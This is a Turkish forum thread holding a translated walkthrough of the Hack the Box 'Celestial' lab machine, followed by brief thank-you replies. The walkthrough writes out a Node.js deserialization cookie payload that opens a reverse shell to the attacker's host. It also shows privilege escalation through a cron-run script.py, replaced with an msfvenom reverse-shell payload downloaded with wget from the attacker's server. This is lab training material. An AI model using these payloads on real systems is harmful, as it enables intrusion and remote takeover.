İPUCU

Capture The Flag Vulnerable VM Walkthrough & Capture The Flag Writeup Yazabileceğiniz Bölüm

Seçenekler

Hack the Box | Celestial CTF Çözümü / R4V3N

07-09-2018 00:32
#1
R4V3N - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
07/2016
Nereden:
Antalya
Yaş:
21
Mesajlar:
5.810
Teşekkür (Etti):
681
Teşekkür (Aldı):
1991
Konular:
318



Bu makale Moderasyon Çeviri Ekibi tarafından çevrilmiştir. Orijinal içeriğe
Hack the Box: Celestial Walkthrough adresinden ulaşabilirsiniz.

Zorluk Seviyesi: Orta

Görev: Kurbanın bilgisayarında user.txt ve root.txt dosyalarını bulmak.

Başlayalım..

Bu pentest laboratuvarları internetten olduğundan, statik IP'ye sahiplerdir. Bunun IP'si 10.10.10.85.

Hedefimizi bulmak için ağı taramakla işe koyulalım.

Kod:
nmap -A 10.10.10.85




NMAP çıktısı, bize hedef bilgisayarda TCP 3000 portunun açık olduğunu gösteriyor. Aşağıdaki gibi standart olmayan HTTP portundan (3000) siteye erişim sağlamaya çalışalım.

Url kısmına

Kod:
10.10.10.85:3000

yazdığımızda şöyle bir sayfa karşımıza çıkıyor:



Diğer pek çok olasılıkları da denedikten sonra ilerlemek için halen bir ipucu bulamadığımızdan, çabucak Burpsuite aracı ile sitenin isteğini anlamaya çalışalım. Bu nedenle, sayfasının GET isteğini yakaladıktan sonra, (kırmızıyla gösterilen) profile= Cookie parametresini fark ettik.



profile= Cookie parametresindeki tüm değeri kopyalayalım ve Burpsuite decoder (şifre çözücü) içine yapıştıralım.

Kod:
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D


Aynı şifreyi çözerken çıktısını base64 formatında alacağız. Base64 format çıktısının şifresini bir kez daha çözeceğiz ve şifrenin açık metin halini görebileceğiz. Çıktı bize belirli bir kullanıcının kullanıcı adını ve diğer detaylarını gösterdi. Bu da, istediğimiz sonucu almak için, kodlarımızı Cookie profili parametre değerine ekleyebileceğimize işarettir.



Uzaktan erişim sağlayan bir hatadır bu Node JS ters serileştirme (deserialization) hatası. Çoklu sayısal değerler kapsayan belirli bir karakter dizisi bulunduran bir fonksiyon var.



10'dan 10'a kadarki tüm (String.fromCharCode sonrasındaki) sayısal içerikleri kopyalayalım. Şu:

Kod:
https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html


linke girelim ve aşağıdaki resimde gösterildiği gibi Decimal'den ASCII'a çevirelim.



Şimdi de ASCII içeriğini değiştirelim ve IP'si 10.10.14.3 olan Kali'mizde HOST ve PORT parametrelerini HOST=10.10.14.3 ve PORT= 4444 olacak şekilde düzenleyelim. Tamamlandığında, Decimal'de aşağıda gösterilenle aynı çıktıyı elde edeceğiz.



Her numara birbirinden virgülle ayrılmış bir şekilde yukarıdaki resimde de olduğu gibi 118'den 10'a kadar olan Decimal çıktısını kopyalayın.

Not: Gördüğümüz üzere, yukarıdaki Decimal çıktısı boşluk ile ayrılmıştı lakin bundan sonra ya elle tek tek yapmalı ya da aşağıda verdiğim Python scriptini kullanıp yapmalı.

Kod:
https://github.com/Sayantan5/Holiday/blob/master/encode.py


Virgülle ayrılmış Decimal çıktısı hazır olduğunda şimdi ise aşağıda gösterildiği gibi kodun içine yapıştırmalıyız (decimal çıktısını değerle yer değiştirelim) ve aynı şekilde Base64 şifrelemesini uygulayalım.

Kod:
echo {"username":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(value) )}()"} | base64 -w0




Yukarıdaki şifrelenmiş çıktıyı kopyalayalım ve aşağıdaki resimde gösterildiği gibi Burpsuite'de Profile= parametresinin önüne yapıştıralım.



Tamamlandığında, Burpsuite Intercept sekmesindeki Forward seçeneğine tıklayalım.

Not: Burpsuite'de değiştirdiğimiz içeriği yollamadan önce, Kali'de Netcat dinleyicisini kurmalıyız ve hazır tutmalıyız.

Kod:
nc -lvp 4444


Uygun bir TTY shell'ine erişmek için aşağıdaki tek satırlık Python script'ini içe aktarmalıyız.

Kod:
python -c 'import pty;pty.spawn("/bin/bash")'


İşte bu! Hedef bilgisayara Reverse shell attık.

İçeriğine şöylece bir göz atalım.

Kod:
ls


Çok klasör taradık ve sonunda ********s klasöründe ilgi çekici şeyler gördük.

Kod:
cd ********s


Burada user.txt dosyasını bulduk, içeriğine bir bakalım.

Kod:
cat user.txt


User.txt dosyasının içinden çıkan bizim ilk bayrağımız.



Bunun yanı sıra içeriğini inceleme merakından bir de script.py dosyasını açalım.

Kod:
cat script.py


dersek, çıktı olarak şunu göreceğiz.

Kod:
print “Script is running”


Not: Bu da, bazı kayıt dosyalarını, hangi script'in çalıştığını ve periyodik temellerde çalışıp çalışmadığını görmek için incelememiz gerektiğini gösteren bir işaret.

Var dizinindeki kayıtların içeriğini incelememiz lazım.

Kod:
cd /var/log


Buradaki dosyalar neymiş ona bakalım.

Kod:
ls


Gördüğümüz gibi, bu klasörde oluşturulmuş bir çok syslog dosyası var. Eski kayıtlar uygun şekilde sıkıştırılıp numaralandırılıyor. Güncel olan kayıt dosyasının adı her zaman syslog olarak geçer. Bu yüzden syslog dosyasının içeriğini açacağız ve ilginç bir şey olup olmadığına bakmaya çalışacağız.

Kod:
cat syslog


Burada her beş dakikada bir çalışan, script.py dosyasının çıktısını kopyalayıp aşağıdaki dizinde output.txt adlı dosya yaratıp içine yapıştıran bir cronjob olduğunun farkına vardık.

Kod:
home/sun/********s


Şimdi ise kendi içeriğimizi script.py dosyasına koymaya çalışalım. Bunun için, aşağıdaki komut ile bir Reverse shell oluşturalım.

Kod:
msfvenom -p cmd/unix/reverse_python lhost=10.10.14.3 lport=1234 R


Msfvenom çıktısının içeriğini kopyalayalım ve Kali masaüstümüze script.py adında kaydedelim. Bunu sonraki adımlarda kullanacağız.



Şimdi de Kali'de web sunucusunu çalıştıralım.

Kod:
python -m SimpleHTTPServer 80




Script.py dosyasının içeriğini okuyalım.

Kod:
cat script.py


Çıktı bize şunu gösterdi:

Kod:
print “Script is running..”


Orijinal olan Python script dosyasının ismini aşağıdaki gibi script.py.original olacak şekilde değiştirelim.

Kod:
mv script.py script.py.original


Kali masaüstümüzden yeni oluşturduğumuz script.py dosyasını indirelim.

Kod:
wget http://10.10.14.3/script.py




Bir Netcat Reverse shell açın.

nc -lvp 1234

Uygun bir TTY shell'ine erişmek için aşağıdaki tek satırlık Python script'ini içe aktarmalıyız.

Kod:
python -c 'import pty;pty.spawn("/bin/bash")'


Helal be! Root'a girdik sonunda.

Root dizinine geçelim.

Kod:
cd /root


İçeriği neymiş bakalım.

Kod:
ls


Root.txt ve script.py adlı iki tane dosya var. Root.txt dosyasını açalım.

Kod:
cat root.txt




Süper! Görevimiz olan iki dosyaya da erişim sağladık.
ATABÖRÜ, ReLaD, Phemis, Feyusa, 'Flash, M3m0ry Teşekkür etti.

07-09-2018 00:33
#2
Tegin - ait Kullanıcı Resmi (Avatar)
Moderasyon Ekipler Sorumlusu
Üyelik tarihi:
03/2018
Mesajlar:
11.009
Konular:
107
Elinize sağlık
07-09-2018 00:33
#3
Üyelik tarihi:
01/2017
Nereden:
UnderGround
Yaş:
8
Mesajlar:
2.254
Teşekkür (Etti):
207
Teşekkür (Aldı):
484
Konular:
135
Emeğinize sağlık
Kullanıcı İmzası
Belki Başka Bir Gün Görüşürüz..)

Bir zamanlar SolidStar..
Bir zamanlar R4V3N...

Eski Anka tim asistanı!
Copyright © 2017 - 2019
07-09-2018 00:33
#4
oldnco - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2017
Yaş:
29
Mesajlar:
1.525
Teşekkür (Etti):
636
Teşekkür (Aldı):
370
Konular:
43
Elinize sağlık komutanım
07-09-2018 00:33
#5
theokeleS - ait Kullanıcı Resmi (Avatar)
E-Mail onayı yapılmamış üye
Üyelik tarihi:
05/2018
Mesajlar:
1.359
Teşekkür (Etti):
68
Teşekkür (Aldı):
357
Konular:
31
Emeğinize sağlık
07-09-2018 00:34
#6
ATABÖRÜ - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2017
Nereden:
Ötüken
Yaş:
82
Mesajlar:
3.372
Teşekkür (Etti):
950
Teşekkür (Aldı):
903
Konular:
303
Ellerine emeğine sağlık komutanım zengin konu
Kullanıcı İmzası
Ey Türk milleti! Kendine dön! Sen yükseltmiş Bilge Kağan'ına, hür ve müstakil ülkene karşı hata ettin, kötü duruma düşürdün. Milletin adı, sanı yok olmasın diye Türk milleti için gece uyumadım, gündüz oturmadım. Kardeşim Kül Tegin ve iki şad ile ölesiye bitesiye çalıştım.
07-09-2018 09:23
#7
R4V3N - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
07/2016
Nereden:
Antalya
Yaş:
21
Mesajlar:
5.810
Teşekkür (Etti):
681
Teşekkür (Aldı):
1991
Konular:
318
Alıntı:
'PALA´isimli üyeden Alıntı Mesajı göster
Elinize sağlık
Alıntı:
HydraThalles´isimli üyeden Alıntı Mesajı göster
Emeğinize sağlık
Alıntı:
oldnco´isimli üyeden Alıntı Mesajı göster
Elinize sağlık komutanım
Alıntı:
theokeleS´isimli üyeden Alıntı Mesajı göster
Emeğinize sağlık
Alıntı:
ATABÖRÜ´isimli üyeden Alıntı Mesajı göster
Ellerine emeğine sağlık komutanım zengin konu
Sağolun.
07-09-2018 09:30
#8
Depdip - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
08/2017
Nereden:
NewYork
Mesajlar:
1.589
Teşekkür (Etti):
296
Teşekkür (Aldı):
420
Konular:
46
Ellerinize sağlık.
07-09-2018 09:31
#9
Slyfer - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2016
Nereden:
Unknown
Mesajlar:
1.591
Teşekkür (Etti):
18
Teşekkür (Aldı):
169
Konular:
32
Elinize sağlık
Kullanıcı İmzası

i want to sleep f o r e v e r
07-09-2018 10:28
#10
M4K4R - ait Kullanıcı Resmi (Avatar)
E-Mail onayı yapılmamış üye
Üyelik tarihi:
03/2017
Mesajlar:
4.266
Teşekkür (Etti):
131
Teşekkür (Aldı):
845
Konular:
241
Eline sağlık

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı